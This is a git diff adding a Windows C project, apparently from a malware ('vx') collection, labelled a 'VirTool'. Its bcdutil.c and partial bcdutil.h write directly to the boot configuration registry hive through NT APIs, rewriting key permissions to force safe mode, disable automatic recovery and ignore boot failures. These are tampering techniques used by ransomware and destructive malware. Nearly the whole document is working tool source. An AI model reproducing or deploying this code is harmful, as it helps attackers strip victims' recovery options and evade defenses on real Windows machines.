diff --git a/Win64.VirTool.BCDEdit/Win64.VirTool.BCDEdit.sln b/Win64.VirTool.BCDEdit/Win64.VirTool.BCDEdit.sln
new file mode 100644
index 0000000..ad2fa87
--- /dev/null
+++ b/Win64.VirTool.BCDEdit/Win64.VirTool.BCDEdit.sln
@@ -0,0 +1,31 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 16
+VisualStudioVersion = 16.0.31410.223
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Win64.VirTool.BCDEdit", "Win64.VirTool.BCDEdit.vcxproj", "{D1412F61-E19B-4D53-94CA-BC381E47033A}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|x64 = Debug|x64
+ Debug|x86 = Debug|x86
+ Release|x64 = Release|x64
+ Release|x86 = Release|x86
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {D1412F61-E19B-4D53-94CA-BC381E47033A}.Debug|x64.ActiveCfg = Debug|x64
+ {D1412F61-E19B-4D53-94CA-BC381E47033A}.Debug|x64.Build.0 = Debug|x64
+ {D1412F61-E19B-4D53-94CA-BC381E47033A}.Debug|x86.ActiveCfg = Debug|Win32
+ {D1412F61-E19B-4D53-94CA-BC381E47033A}.Debug|x86.Build.0 = Debug|Win32
+ {D1412F61-E19B-4D53-94CA-BC381E47033A}.Release|x64.ActiveCfg = Release|x64
+ {D1412F61-E19B-4D53-94CA-BC381E47033A}.Release|x64.Build.0 = Release|x64
+ {D1412F61-E19B-4D53-94CA-BC381E47033A}.Release|x86.ActiveCfg = Release|Win32
+ {D1412F61-E19B-4D53-94CA-BC381E47033A}.Release|x86.Build.0 = Release|Win32
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {B5203926-E601-4923-A8DA-D4CBE2ADCE2F}
+ EndGlobalSection
+EndGlobal
diff --git a/Win64.VirTool.BCDEdit/Win64.VirTool.BCDEdit.vcxproj b/Win64.VirTool.BCDEdit/Win64.VirTool.BCDEdit.vcxproj
new file mode 100644
index 0000000..af19071
--- /dev/null
+++ b/Win64.VirTool.BCDEdit/Win64.VirTool.BCDEdit.vcxproj
@@ -0,0 +1,150 @@
+
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+ Debug
+ x64
+
+
+ Release
+ x64
+
+
+
+ 16.0
+ Win32Proj
+ {d1412f61-e19b-4d53-94ca-bc381e47033a}
+ Win64VirToolBCDEdit
+ 10.0
+
+
+
+ Application
+ true
+ v142
+ Unicode
+
+
+ Application
+ false
+ v142
+ true
+ Unicode
+
+
+ Application
+ true
+ v142
+ Unicode
+
+
+ Application
+ false
+ v142
+ true
+ Unicode
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+
+
+ false
+
+
+ true
+
+
+ false
+
+
+
+ Level3
+ true
+ WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+ Level3
+ true
+ _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/Win64.VirTool.BCDEdit/Win64.VirTool.BCDEdit.vcxproj.filters b/Win64.VirTool.BCDEdit/Win64.VirTool.BCDEdit.vcxproj.filters
new file mode 100644
index 0000000..455acdb
--- /dev/null
+++ b/Win64.VirTool.BCDEdit/Win64.VirTool.BCDEdit.vcxproj.filters
@@ -0,0 +1,19 @@
+
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
+
+
+
+
+ Source Files
+
+
+
+
+ Source Files
+
+
+
\ No newline at end of file
diff --git a/Win64.VirTool.BCDEdit/Win64.VirTool.BCDEdit.vcxproj.user b/Win64.VirTool.BCDEdit/Win64.VirTool.BCDEdit.vcxproj.user
new file mode 100644
index 0000000..0f14913
--- /dev/null
+++ b/Win64.VirTool.BCDEdit/Win64.VirTool.BCDEdit.vcxproj.user
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/Win64.VirTool.BCDEdit/bcdutil.c b/Win64.VirTool.BCDEdit/bcdutil.c
new file mode 100644
index 0000000..e343d81
--- /dev/null
+++ b/Win64.VirTool.BCDEdit/bcdutil.c
@@ -0,0 +1,497 @@
+/**
+* @file bcdutil.c
+* @author Paul L. (@am0nsec)
+* @version 1.0
+* @brief Modify boot configuration to enable safe mode, disable recovery and ignore all failure.
+* @details
+* @link https://github.com/am0nsec/vx
+* @copyright This project has been released under the GNU Public License v3 license.
+*/
+#include "bcdutil.h"
+#include
+#include
+
+_Use_decl_annotations_ NTSTATUS
+BcdGetDefaultBootObject(
+ _Out_ PHKEY phWindowsBootMgrDefaultObj
+) {
+ // 1. Open handle to HKLM
+ HKEY hLocalMachine = INVALID_HANDLE_VALUE;
+ EXIT_ON_ERROR(BcdOpenKeyByName(
+ L"\\Registry\\Machine",
+ (READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS | KEY_SET_VALUE | KEY_CREATE_SUB_KEY),
+ NULL,
+ &hLocalMachine
+ ));
+
+ // 2. Find the BCD sub key
+ HKEY hBCD = INVALID_HANDLE_VALUE;
+ LPWSTR wszBcdSubKeyFragment = NULL;
+ DWORD dwzBcdSubKeyFragment = 0x00;
+ EXIT_ON_ERROR(BcdpGetSubKeyByPattern(
+ &hLocalMachine,
+ L"BCD",
+ (CONST DWORD)0x03,
+ &wszBcdSubKeyFragment,
+ &dwzBcdSubKeyFragment
+ ));
+
+ // 3. Open handle to the new BCD sub key
+ EXIT_ON_ERROR(BcdOpenKeyByName(
+ wszBcdSubKeyFragment,
+ (READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
+ &hLocalMachine,
+ &hBCD
+ ));
+ HeapFree(GetProcessHeap(), 0x00, wszBcdSubKeyFragment);
+
+ // 4. Open handle to the new Objects sub key
+ HKEY hBCDObjects = INVALID_HANDLE_VALUE;
+ EXIT_ON_ERROR(BcdOpenKeyByName(
+ L"Objects",
+ (READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
+ &hBCD,
+ &hBCDObjects
+ ));
+
+ // 5. Open handle to the Windows boot manager
+ HKEY hWindowsBootMgr = INVALID_HANDLE_VALUE;
+ EXIT_ON_ERROR(BcdOpenKeyByName(
+ GUID_WINDOWS_BOOTMGR,
+ (READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
+ &hBCDObjects,
+ &hWindowsBootMgr
+ ));
+
+ // 6. Open handle tot the Elements of the Windows boot manager
+ HKEY hWindowsBootMgrElements = INVALID_HANDLE_VALUE;
+ EXIT_ON_ERROR(BcdOpenKeyByName(
+ BCD_ELEMENTS,
+ (READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
+ &hWindowsBootMgr,
+ &hWindowsBootMgrElements
+ ));
+
+ // 7. Open an handle to the default object and get the value.
+ HKEY hWindowsBootMgrDefaultObj = INVALID_HANDLE_VALUE;
+ EXIT_ON_ERROR(BcdOpenKeyByName(
+ BCDE_BOOTMGR_TYPE_DEFAULT_OBJECT,
+ (READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
+ &hWindowsBootMgrElements,
+ &hWindowsBootMgrDefaultObj
+ ));
+
+ // 8. Open an handle to the default boot object
+ LPWSTR wszWindowsBootMgrDefaultObj = NULL;
+ DWORD dwWindowsBootMgrDefaultObj = 0x00;
+ EXIT_ON_ERROR(BcdpQueryValueByName(
+ L"Element",
+ &hWindowsBootMgrDefaultObj,
+ REG_SZ,
+ &wszWindowsBootMgrDefaultObj,
+ &dwWindowsBootMgrDefaultObj
+ ));
+
+ // 9. Get the GUID of the default object
+ EXIT_ON_ERROR(BcdOpenKeyByName(
+ wszWindowsBootMgrDefaultObj,
+ (READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
+ &hBCDObjects,
+ phWindowsBootMgrDefaultObj
+ ));
+ HeapFree(GetProcessHeap(), 0x00, wszWindowsBootMgrDefaultObj);
+
+ // Cleanup and return
+ NtClose(hLocalMachine);
+ NtClose(hBCD);
+ NtClose(hBCDObjects);
+ NtClose(hWindowsBootMgr);
+ NtClose(hWindowsBootMgrElements);
+ NtClose(hWindowsBootMgrDefaultObj);
+ return STATUS_SUCCESS;
+}
+
+
+_Use_decl_annotations_ NTSTATUS
+BcdModifyBootConfiguration(
+ _In_ CONST PHKEY phKey,
+ _In_ CONST LPWSTR wszKey,
+ _In_ LPVOID pData,
+ _In_ ULONG ulData
+) {
+ if (phKey == NULL || wszKey == NULL || pData == NULL || ulData == 0x00)
+ return STATUS_UNSUCCESSFUL;
+
+ // 1. Check if key already exist otherwise create a new one
+ HKEY hObject = INVALID_HANDLE_VALUE;
+ NTSTATUS Status = BcdOpenKeyByName(
+ wszKey,
+ (READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
+ phKey,
+ &hObject
+ );
+ if (Status == STATUS_OBJECT_NAME_NOT_FOUND) {
+ // 1.1. Change the DACL to have write permissions
+ RETURN_ON_ERROR(BcdpChangeObjectPermission(
+ phKey,
+ (KEY_CREATE_SUB_KEY | KEY_NOTIFY | KEY_ENUMERATE_SUB_KEYS | WRITE_DAC | KEY_QUERY_VALUE | READ_CONTROL)
+ ));
+
+ // 1.2. Create the key
+ RETURN_ON_ERROR(BcdpCreateKey(
+ wszKey,
+ (READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS | KEY_SET_VALUE),
+ phKey,
+ &hObject
+ ));
+
+ // 1.3. Revert the permissions
+ RETURN_ON_ERROR(BcdpChangeObjectPermission(
+ phKey,
+ (KEY_NOTIFY | KEY_ENUMERATE_SUB_KEYS | WRITE_DAC | KEY_QUERY_VALUE | READ_CONTROL)
+ ));
+ }
+
+ // 2. Allow set Windows registry value to the newly created key and open new key
+ RETURN_ON_ERROR(BcdpChangeObjectPermission(
+ &hObject,
+ KEY_SET_VALUE | KEY_NOTIFY | KEY_ENUMERATE_SUB_KEYS | WRITE_DAC | KEY_QUERY_VALUE | READ_CONTROL
+ ));
+
+ NtClose(hObject);
+ RETURN_ON_ERROR(BcdOpenKeyByName(
+ wszKey,
+ (KEY_SET_VALUE | READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
+ phKey,
+ &hObject
+ ));
+
+ // 3. Set the value and change the DACLs to original value
+ RETURN_ON_ERROR(BcdpSetValue(
+ BCD_ELEMENT,
+ &hObject,
+ pData,
+ ulData
+ ));
+ RETURN_ON_ERROR(BcdpChangeObjectPermission(
+ &hObject,
+ KEY_NOTIFY | KEY_ENUMERATE_SUB_KEYS | WRITE_DAC | KEY_QUERY_VALUE | READ_CONTROL
+ ));
+
+ // Cleanup and return
+ NtClose(hObject);
+ return STATUS_SUCCESS;
+}
+
+
+_Use_decl_annotations_ NTSTATUS
+BcdAcquireSyncMutant(
+ _Out_ PHANDLE phHandle
+) {
+ if (phHandle == NULL)
+ return STATUS_INVALID_PARAMETER;
+
+ UNICODE_STRING MutantName = { 0x00 };
+ RtlInitUnicodeString(&MutantName, L"\\KernelObjects\\BcdSyncMutant");
+
+ OBJECT_ATTRIBUTES MutantAttributes = { 0x00 };
+ InitializeObjectAttributes(
+ &MutantAttributes,
+ &MutantName,
+ OBJ_CASE_INSENSITIVE,
+ 0x00,
+ 0x00
+ );
+
+ return NtOpenMutant(phHandle, 0x100000, &MutantAttributes, FALSE);
+}
+
+
+_Use_decl_annotations_ NTSTATUS
+BcdpGetSubKeyByPattern(
+ _In_ CONST PHKEY phKey,
+ _In_ CONST LPWSTR wszPattern,
+ _In_ CONST DWORD dwPatternLength,
+ _Out_ LPWSTR* wszSubKeyName,
+ _Out_ PDWORD pdwSubKeyNameLength
+) {
+ if (phKey == NULL
+ || wszPattern == NULL
+ || pdwSubKeyNameLength == NULL)
+ return STATUS_INVALID_PARAMETER;
+ NTSTATUS Status = STATUS_UNSUCCESSFUL;
+
+ // Initialise variables and heap memory
+ DWORD dwIndex = 0x00;
+ ULONG ulBuffer = 0x100;
+ PKEY_BASIC_INFORMATION BasicInformation = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulBuffer);
+
+ // Parse each entry one by one
+ while (TRUE) {
+ ULONG ulReturned = 0x00;
+ Status = NtEnumerateKey(
+ *phKey,
+ dwIndex,
+ KeyBasicInformation,
+ (LPVOID)BasicInformation,
+ ulBuffer,
+ &ulReturned
+ );
+
+ // Key not found
+ if (Status == STATUS_NO_MORE_ENTRIES) {
+ Status = STATUS_UNSUCCESSFUL;
+ break;
+ }
+ // Buffer not large enough to get the basic information
+ else if (Status == STATUS_BUFFER_TOO_SMALL) {
+ HeapReAlloc(GetProcessHeap(), 0x00, (LPVOID)BasicInformation, ulReturned);
+ ulBuffer = ulReturned;
+ continue;
+ }
+
+ // Checking if it is pattern
+ if (_wcsnicmp(BasicInformation->Name, wszPattern, (SIZE_T)dwPatternLength) == 0x00) {
+ *pdwSubKeyNameLength = BasicInformation->NameLength;
+ *wszSubKeyName = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, BasicInformation->NameLength);
+
+ memcpy_s(
+ *wszSubKeyName,
+ BasicInformation->NameLength,
+ BasicInformation->Name,
+ BasicInformation->NameLength
+ );
+ Status = STATUS_SUCCESS;
+ break;
+ }
+
+ // Try next entry
+ RtlZeroMemory(BasicInformation, ulReturned);
+ dwIndex++;
+ }
+
+ // Cleanup and exit
+ HeapFree(GetProcessHeap(), 0x00, BasicInformation);
+ return Status;
+}
+
+
+_Use_decl_annotations_ NTSTATUS
+BcdOpenKeyByName(
+ _In_ CONST LPWSTR wszKeyName,
+ _In_ ACCESS_MASK AccessMask,
+ _In_ PHANDLE phDirectory,
+ _Out_ PHKEY phKey
+) {
+ if (wszKeyName == NULL)
+ return STATUS_INVALID_PARAMETER;
+ NTSTATUS Status = STATUS_UNSUCCESSFUL;
+
+ // Initialise the UNCIODE_STRING
+ UNICODE_STRING ObjectName = { 0x00 };
+ RtlInitUnicodeString(&ObjectName, wszKeyName);
+
+ // Initialise the OBJECT_ATTRIBUTES
+ OBJECT_ATTRIBUTES ObjectAttributes = { 0x00 };
+ InitializeObjectAttributes(
+ &ObjectAttributes,
+ &ObjectName,
+ OBJ_CASE_INSENSITIVE,
+ 0x00,
+ 0x00
+ );
+ if (phDirectory != NULL)
+ ObjectAttributes.RootDirectory = *phDirectory;
+
+ // Try to open the key
+ *phKey = INVALID_HANDLE_VALUE;
+ Status = NtOpenKey(
+ phKey,
+ AccessMask,
+ &ObjectAttributes
+ );
+
+ return Status;
+}
+
+
+_Use_decl_annotations_ NTSTATUS
+BcdpQueryValueByName(
+ _In_ CONST LPWSTR wszValueName,
+ _In_ PHKEY phKey,
+ _In_ DWORD dwType,
+ _Out_ LPVOID* ppData,
+ _Out_ DWORD* pdwData
+) {
+ if (wszValueName == NULL
+ || phKey == NULL
+ || ppData == NULL
+ || pdwData == NULL)
+ return STATUS_INVALID_PARAMETER;
+ NTSTATUS Status = STATUS_UNSUCCESSFUL;
+
+ // Initialise the UNCIODE_STRING
+ UNICODE_STRING ObjectName = { 0x00 };
+ RtlInitUnicodeString(&ObjectName, wszValueName);
+
+ // Get buffer ready
+ ULONG ulReturned = 0x00;
+ ULONG ulBuffer = 0x100;
+ PKEY_VALUE_PARTIAL_INFORMATION Information = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulBuffer);
+
+ // Get the value
+ do {
+ Status = NtQueryValueKey(
+ *phKey,
+ &ObjectName,
+ KeyValuePartialInformation,
+ (LPVOID)Information,
+ ulBuffer,
+ &ulReturned
+ );
+
+ if (NT_SUCCESS(Status))
+ break;
+
+ ulBuffer += 0x100;
+ Information = HeapReAlloc(GetProcessHeap(), 0x00, Information, ulBuffer);
+ } while (Status == STATUS_BUFFER_TOO_SMALL);
+
+ // Check the data type
+ if (Information->Type != dwType) {
+ HeapFree(GetProcessHeap(), 0x00, Information);
+ return STATUS_UNSUCCESSFUL;
+ }
+
+ // Allocate memory and copy data
+ *ppData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Information->DataLength);
+ memmove_s(*ppData, Information->DataLength, Information->Data, Information->DataLength);
+ *pdwData = Information->DataLength;
+
+ // De-allocate memory and return
+ HeapFree(GetProcessHeap(), 0x00, Information);
+ return Status;
+}
+
+
+_Use_decl_annotations_
+NTSTATUS BcdpCreateKey(
+ _In_ CONST LPWSTR wszKeyName,
+ _In_ ACCESS_MASK DesiredAccess,
+ _In_ PHANDLE phDirectory,
+ _Out_ PHANDLE phKey
+) {
+ if (wszKeyName == NULL || phKey == NULL)
+ return STATUS_INVALID_PARAMETER;
+ NTSTATUS Status = STATUS_UNSUCCESSFUL;
+
+ // Initialise the UNCIODE_STRING
+ UNICODE_STRING ObjectName = { 0x00 };
+ RtlInitUnicodeString(&ObjectName, wszKeyName);
+
+ // Initialise the OBJECT_ATTRIBUTES
+ OBJECT_ATTRIBUTES ObjectAttributes = { 0x00 };
+ InitializeObjectAttributes(
+ &ObjectAttributes,
+ &ObjectName,
+ OBJ_CASE_INSENSITIVE,
+ 0x00,
+ 0x00
+ );
+ if (phDirectory != NULL)
+ ObjectAttributes.RootDirectory = *phDirectory;
+
+ // Create the key
+ return NtCreateKey(
+ phKey,
+ DesiredAccess,
+ &ObjectAttributes,
+ 0x00,
+ NULL,
+ REG_OPTION_NON_VOLATILE,
+ NULL
+ );
+}
+
+
+_Use_decl_annotations_
+NTSTATUS BcdpSetValue(
+ _In_ CONST LPWSTR wszValue,
+ _In_ PHANDLE phKey,
+ _In_ PVOID pData,
+ _In_ ULONG ulData
+) {
+ if (wszValue == NULL || phKey == NULL || pData == NULL || ulData == 0x00)
+ return STATUS_INVALID_PARAMETER;
+ NTSTATUS Status = STATUS_UNSUCCESSFUL;
+
+ // Initialise the UNCIODE_STRING
+ UNICODE_STRING ObjectName = { 0x00 };
+ RtlInitUnicodeString(&ObjectName, wszValue);
+
+ Status = NtSetValueKey(
+ *phKey,
+ &ObjectName,
+ 0x00,
+ REG_BINARY,
+ pData,
+ ulData
+ );
+ return Status;
+}
+
+
+_Use_decl_annotations_
+NTSTATUS BcdpChangeObjectPermission(
+ _In_ CONST PHANDLE phKey,
+ _In_ DWORD dwPrivileges
+) {
+ if (phKey == NULL)
+ return STATUS_UNSUCCESSFUL;
+ NTSTATUS Status = STATUS_UNSUCCESSFUL;
+
+ // Get the SID of the local Administrators group
+ PSID AdminSID = NULL;
+ SID_IDENTIFIER_AUTHORITY SIDAuthNT = SECURITY_NT_AUTHORITY;
+ if (!AllocateAndInitializeSid(
+ &SIDAuthNT,
+ 0x02,
+ SECURITY_BUILTIN_DOMAIN_RID,
+ DOMAIN_ALIAS_RID_ADMINS,
+ 0, 0, 0, 0, 0, 0,
+ &AdminSID
+ )) {
+ return STATUS_UNSUCCESSFUL;
+ }
+
+ // Get the current security descriptor of the Windows Registry key
+ PACL pOldDACL = NULL;
+ PACL pNewDACL = NULL;
+ PSECURITY_DESCRIPTOR SecurityDescriptor = NULL;
+ DWORD dwStatus = GetSecurityInfo(
+ *phKey,
+ SE_REGISTRY_KEY,
+ DACL_SECURITY_INFORMATION,
+ NULL,
+ NULL,
+ &pOldDACL,
+ NULL,
+ &SecurityDescriptor
+ );
+ if (dwStatus != ERROR_SUCCESS)
+ return STATUS_UNSUCCESSFUL;
+
+ EXPLICIT_ACCESS ea = { 0x00 };
+ ea.grfAccessPermissions = dwPrivileges;
+ ea.grfAccessMode = SET_ACCESS;
+ ea.grfInheritance = NO_INHERITANCE;
+ ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;
+ ea.Trustee.TrusteeType = TRUSTEE_IS_GROUP;
+ ea.Trustee.ptstrName = (LPTSTR)AdminSID;
+
+ if (SetEntriesInAcl(1, &ea, pOldDACL, &pNewDACL) != ERROR_SUCCESS)
+ return STATUS_UNSUCCESSFUL;
+ if (SetSecurityInfo(*phKey, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDACL, NULL) != ERROR_SUCCESS)
+ return STATUS_UNSUCCESSFUL;
+ return STATUS_SUCCESS;
+}
\ No newline at end of file
diff --git a/Win64.VirTool.BCDEdit/bcdutil.h b/Win64.VirTool.BCDEdit/bcdutil.h
new file mode 100644
index 0000000..e4a601c
--- /dev/null
+++ b/Win64.VirTool.BCDEdit/bcdutil.h
@@ -0,0 +1,298 @@
+/**
+* @file bcdutil.c
+* @author Paul L. (@am0nsec)
+* @version 1.0
+* @brief Modify boot configuration to enable safe mode, disable recovery and ignore all failure.
+* @details
+* @link https://github.com/am0nsec/vx
+* @copyright This project has been released under the GNU Public License v3 license.
+*/
+#ifndef __BCDUTIL_H_GUARD__
+#define __BCDUTIL_H_GUARD__
+
+#pragma comment(lib, "ntdll")
+
+#include
+#include
+#include
+
+/**
+ * @brief GUID of the Windows Boot Manager Configuration within the Windows Registry: 9DEA862C-5CDD-4E70-ACC1-F32B344D4795
+*/
+static CONST GUID GUID_WINDOWS_BOOTMGR = { 0x9DEA862C, 0x5CDD, 0x4E70, {0xAC, 0xC1, 0xF3, 0x2B, 0x34, 0x4D, 0x47, 0x95} };
+
+// Taken from https://www.geoffchappell.com/notes/windows/boot/bcd/elements.htm?tx=27
+
+#define GUID_WINDOWS_BOOTMGR L"{9DEA862C-5CDD-4E70-ACC1-F32B344D4795}"
+#define BCD_ELEMENTS L"Elements"
+#define BCD_ELEMENT L"Element"
+
+#define BCDE_BOOTMGR_TYPE_DEFAULT_OBJECT L"23000003"
+#define BCDE_OSLOADER_TYPE_SAFEBOOT L"25000080"
+#define BCDE_LIBRARY_TYPE_AUTO_RECOVERY_ENABLED L"16000009"
+#define BCDE_OSLOADER_TYPE_BOOT_STATUS_POLICY L"250000E0"
+
+#define STATUS_SUCCESS 0x00000000
+#define STATUS_UNSUCCESSFUL 0xC0000001
+#define STATUS_INTERNAL_ERROR 0xC00000E5
+#define STATUS_BUFFER_TOO_SMALL 0xC0000023
+#define STATUS_NO_MORE_ENTRIES 0x8000001A
+#define STATUS_OBJECT_NAME_NOT_FOUND 0xC0000034
+
+#define RETURN_ON_ERROR(ex) \
+ if (!NT_SUCCESS(ex)) { return STATUS_UNSUCCESSFUL; }
+
+#define EXIT_ON_ERROR(ex) \
+ if (!NT_SUCCESS(ex)) { return EXIT_FAILURE; }
+
+#define EXIT_ON_ERROREX(ex, code) \
+ if (ex != code) { return EXIT_FAILURE; }
+
+typedef enum _KEY_INFORMATION_CLASS {
+ KeyBasicInformation,
+ KeyNodeInformation,
+ KeyFullInformation,
+ KeyNameInformation,
+ KeyCachedInformation,
+ KeyFlagsInformation,
+ KeyVirtualizationInformation,
+ KeyHandleTagsInformation,
+ KeyTrustInformation,
+ KeyLayerInformation,
+ MaxKeyInfoClass
+} KEY_INFORMATION_CLASS;
+
+typedef enum _KEY_VALUE_INFORMATION_CLASS {
+ KeyValueBasicInformation,
+ KeyValueFullInformation,
+ KeyValuePartialInformation,
+ KeyValueFullInformationAlign64,
+ KeyValuePartialInformationAlign64,
+ KeyValueLayerInformation,
+ MaxKeyValueInfoClass
+} KEY_VALUE_INFORMATION_CLASS;
+
+typedef struct _KEY_BASIC_INFORMATION {
+ LARGE_INTEGER LastWriteTime;
+ ULONG TitleIndex;
+ ULONG NameLength;
+ WCHAR Name[1];
+} KEY_BASIC_INFORMATION, * PKEY_BASIC_INFORMATION;
+
+typedef struct _KEY_VALUE_PARTIAL_INFORMATION {
+ ULONG TitleIndex;
+ ULONG Type;
+ ULONG DataLength;
+ UCHAR Data[1];
+} KEY_VALUE_PARTIAL_INFORMATION, * PKEY_VALUE_PARTIAL_INFORMATION;
+
+typedef struct _SECURITY_DESCRIPTOREX {
+ UCHAR Revision;
+ UCHAR Sbz1;
+ WORD Control;
+ PVOID Owner;
+ PVOID Group;
+ PACL Sacl;
+ PACL Dacl;
+} SECURITY_DESCRIPTOREX, * PSECURITY_DESCRIPTOREX;
+
+
+extern NTSTATUS NtOpenKey(
+ _Out_ PHANDLE KeyHandle,
+ _In_ ACCESS_MASK DesiredAccess,
+ _In_ POBJECT_ATTRIBUTES ObjectAttributes
+);
+
+
+extern NTSTATUS NtQueryValueKey(
+ _In_ HANDLE KeyHandle,
+ _In_ PUNICODE_STRING ValueName,
+ _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
+ _Out_ PVOID KeyValueInformation,
+ _In_ ULONG Length,
+ _Out_ PULONG ResultLength
+);
+
+
+extern NTSTATUS NtCreateKey(
+ _Out_ PHANDLE KeyHandle,
+ _In_ ACCESS_MASK DesiredAccess,
+ _In_ POBJECT_ATTRIBUTES ObjectAttributes,
+ _Out_ ULONG TitleIndex,
+ _In_opt_ PUNICODE_STRING Class,
+ _In_ ULONG CreateOptions,
+ _Out_opt_ PULONG Disposition
+);
+
+
+extern NTSTATUS NtEnumerateKey(
+ _In_ HANDLE KeyHandle,
+ _In_ ULONG Index,
+ _In_ KEY_INFORMATION_CLASS KeyInformationClass,
+ _Out_ PVOID KeyInformation,
+ _In_ ULONG Length,
+ _Out_ PULONG ResultLength
+);
+
+
+extern NTSTATUS NtOpenMutant(
+ _Out_ PHANDLE MutantHandle,
+ _In_ ACCESS_MASK DesiredAccess,
+ _In_ POBJECT_ATTRIBUTES ObjectAttributes,
+ _In_ BOOLEAN InitialOwner
+);
+
+
+extern NTSTATUS NtSetValueKey(
+ _In_ HANDLE KeyHandle,
+ _In_ PUNICODE_STRING ValueName,
+ _In_opt_ ULONG TitleIndex,
+ _In_ ULONG Type,
+ _In_ PVOID Data,
+ _In_ ULONG DataSize
+);
+
+
+/**
+ * @brief Get handle to the default Windows Boot Object.
+ * @param phWindowsBootMgrDefaultObj Pointer to an handle.
+ * @return Whether an handle has been successfully retrieved.
+*/
+_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
+BcdGetDefaultBootObject(
+ _Out_ PHKEY phWindowsBootMgrDefaultObj
+);
+
+
+/**
+ * @brief Modify boot configuration.
+ * @param phKey Pointer to an handle of the Windows default boot object.
+ * @param wszKey Name of the configuration to change.
+ * @param pData Pointer to the data of the value.
+ * @param ulData Size of the data for the value.
+ * @return Whether boot configuration has been modified.
+*/
+_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
+BcdModifyBootConfiguration(
+ _In_ CONST PHKEY phKey,
+ _In_ CONST LPWSTR wszKey,
+ _In_ LPVOID pData,
+ _In_ ULONG ulData
+);
+
+
+/**
+ * @brief Acquire an handle to the BCD synchronisation mutant.
+ * @param phHandle Pointer to an handle.
+ * @return Whether an handle to the BCD synchronisation mutant has been acquired.
+*/
+_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
+BcdAcquireSyncMutant(
+ _Out_ PHANDLE phHandle
+);
+
+
+/**
+ * @brief Open an HANDLE to a registry object by name.
+ * @param wszKeyName The Unicode name of the registry object.
+ * @param AccessMask The desired access mask.
+ * @param phDirectory Pointer to a parent object within the object manager namespace.
+ * @param phKey Pointer to the HANDLE if found and successfully opened.
+ * @return Whether the HANDLE has been open.
+*/
+_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
+BcdOpenKeyByName(
+ _In_ CONST LPWSTR wszKeyName,
+ _In_ ACCESS_MASK AccessMask,
+ _In_ PHANDLE phDirectory,
+ _Out_ PHKEY phKey
+);
+
+
+/**
+ * @brief Find a sub key for a given pattern.
+ * @param phKey Pointer to the key to search from.
+ * @param wszPattern The pattern to find (e.g., BCD).
+ * @param dwPatternLength Length of the pattern (e.g., 3).
+ * @param wszSubKeyName Pointer to the name of the sub-key once found.
+ * @param pdwSubKeyNameLength Pointer to the length of the sub-key once found.
+ * @return Whether the sub-key has been found.
+*/
+_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
+BcdpGetSubKeyByPattern(
+ _In_ CONST PHKEY phKey,
+ _In_ CONST LPWSTR wszPattern,
+ _In_ CONST DWORD dwPatternLength,
+ _Out_ LPWSTR * wszSubKeyName,
+ _Out_ PDWORD pdwSubKeyNameLength
+);
+
+
+/**
+ * @brief Get the value of a Windows registry key by name.
+ * @param wszValueName The Unicode name of the value to retrieve.
+ * @param phKey Pointer to an handle of a Windows Registry key.
+ * @param dwType Type of data to retreive.
+ * @param ppData Pointer to a buffer.
+ * @param pdwData Poitner to the size of the buffer that will be returned.
+ * @return Whether the value has been successfully retrieved.
+*/
+_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
